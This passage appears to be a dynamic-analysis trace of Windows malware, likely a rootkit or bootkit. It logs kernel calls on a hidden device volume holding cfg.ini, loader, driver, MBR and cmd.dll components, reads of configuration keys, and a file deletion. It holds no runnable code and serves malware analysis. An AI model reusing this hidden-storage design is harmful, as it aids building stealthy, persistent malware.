returned="cfg.ini" [0125.828] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.828] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf9180 [0125.828] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.828] KeLeaveCriticalRegion () [0125.828] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.828] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.828] KeEnterCriticalRegion () [0125.828] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.828] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.828] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.828] KeLeaveCriticalRegion () [0125.828] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.828] KeEnterCriticalRegion () [0125.828] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.828] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.828] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.828] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.828] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0125.828] IdePortDispatch () returned 0x103 [0125.829] KeWaitForMutexObject () returned 0x0 [0125.829] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.829] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.829] KeLeaveCriticalRegion () [0125.829] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.829] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.829] KeEnterCriticalRegion () [0125.829] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.829] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d05000 [0125.829] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.829] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.829] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.829] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.829] IdePortDispatch () returned 0x103 [0125.829] KeWaitForMutexObject () returned 0x0 [0125.829] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.829] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.829] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.829] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.829] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.829] IdePortDispatch () returned 0x103 [0125.829] KeWaitForMutexObject () returned 0x0 [0125.830] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.830] KeLeaveCriticalRegion () [0125.830] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.830] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.830] KeEnterCriticalRegion () [0125.830] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.830] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.830] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.830] KeLeaveCriticalRegion () [0125.830] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.830] KeEnterCriticalRegion () [0125.830] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.830] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0125.830] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf9240, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.830] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.830] KeLeaveCriticalRegion () [0125.830] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.830] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.830] KeEnterCriticalRegion () [0125.830] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.830] ExFreePoolWithTag (P=0xfffffa8003bf9180, Tag=0x0) [0125.830] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.830] KeLeaveCriticalRegion () [0125.830] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.830] ReleaseMutex (hMutex=0xf0) returned 1 [0125.830] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.830] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0125.831] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.831] KeEnterCriticalRegion () [0125.831] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.831] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.831] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.831] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.831] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.831] IdePortDispatch () returned 0x103 [0125.832] KeWaitForMutexObject () returned 0x0 [0125.832] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.832] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.832] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.832] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.832] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.832] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bfab90 [0125.832] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.832] KeLeaveCriticalRegion () [0125.832] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.832] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.832] KeEnterCriticalRegion () [0125.832] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.832] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.832] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.832] KeLeaveCriticalRegion () [0125.832] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.832] KeEnterCriticalRegion () [0125.832] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.832] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.832] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.832] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.832] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0125.832] IdePortDispatch () returned 0x103 [0125.833] KeWaitForMutexObject () returned 0x0 [0125.833] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.833] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.833] KeLeaveCriticalRegion () [0125.833] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.833] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.833] KeEnterCriticalRegion () [0125.833] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.833] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d06000 [0125.833] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.833] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.833] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.833] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.833] IdePortDispatch () returned 0x103 [0125.833] KeWaitForMutexObject () returned 0x0 [0125.833] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.833] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.833] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.833] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.833] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.833] IdePortDispatch () returned 0x103 [0125.833] KeWaitForMutexObject () returned 0x0 [0125.834] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.834] KeLeaveCriticalRegion () [0125.834] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.834] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.834] KeEnterCriticalRegion () [0125.834] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.834] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.834] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.834] KeLeaveCriticalRegion () [0125.834] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.834] KeEnterCriticalRegion () [0125.834] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.834] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0125.834] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfac50, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.834] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.834] KeLeaveCriticalRegion () [0125.834] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.834] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.834] KeEnterCriticalRegion () [0125.834] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.834] ExFreePoolWithTag (P=0xfffffa8003bfab90, Tag=0x0) [0125.834] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.834] KeLeaveCriticalRegion () [0125.834] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.834] ReleaseMutex (hMutex=0xf0) returned 1 [0125.834] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0125.834] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0125.834] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0125.835] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0125.835] KeEnterCriticalRegion () [0125.835] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.835] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.835] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.835] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.835] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.835] IdePortDispatch () returned 0x103 [0125.835] KeWaitForMutexObject () returned 0x0 [0125.835] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.835] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0125.835] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.835] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.835] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.835] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.835] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.835] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.835] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.835] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0125.835] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.835] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.835] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.835] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.835] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.835] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.835] KeLeaveCriticalRegion () [0125.835] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.835] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0125.835] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0125.835] KeEnterCriticalRegion () [0125.835] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.835] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.835] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.835] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.835] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.835] IdePortDispatch () returned 0x103 [0125.835] KeWaitForMutexObject () returned 0x0 [0125.836] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.836] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0125.836] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.836] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.836] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.836] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.836] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.836] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.836] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.836] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0125.836] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.836] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.836] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.836] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.836] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.836] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.836] KeLeaveCriticalRegion () [0125.836] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.836] ReleaseMutex (hMutex=0x100) returned 1 [0125.836] Sleep (dwMilliseconds=0x2bf20) [0125.842] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6e348bf0, dwHighDateTime=0x1d24fa4)) [0125.842] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0125.842] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.842] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0125.842] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.842] KeEnterCriticalRegion () [0125.842] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.842] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.842] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.842] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.842] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.842] IdePortDispatch () returned 0x103 [0125.842] KeWaitForMutexObject () returned 0x0 [0125.843] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.843] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.843] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.843] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.843] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.843] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf4450 [0125.843] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.843] KeLeaveCriticalRegion () [0125.843] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.843] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.843] KeEnterCriticalRegion () [0125.843] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.843] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.843] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.843] KeLeaveCriticalRegion () [0125.843] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.843] KeEnterCriticalRegion () [0125.843] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.843] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.843] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.843] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.843] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0125.843] IdePortDispatch () returned 0x103 [0125.843] KeWaitForMutexObject () returned 0x0 [0125.843] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.843] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.843] KeLeaveCriticalRegion () [0125.843] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.843] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.843] KeEnterCriticalRegion () [0125.843] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.843] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d09000 [0125.844] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.844] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.844] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.844] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.844] IdePortDispatch () returned 0x103 [0125.844] KeWaitForMutexObject () returned 0x0 [0125.844] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.844] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.844] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.844] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.844] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.844] IdePortDispatch () returned 0x103 [0125.844] KeWaitForMutexObject () returned 0x0 [0125.844] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.844] KeLeaveCriticalRegion () [0125.844] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.845] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.845] KeEnterCriticalRegion () [0125.845] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.845] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.845] 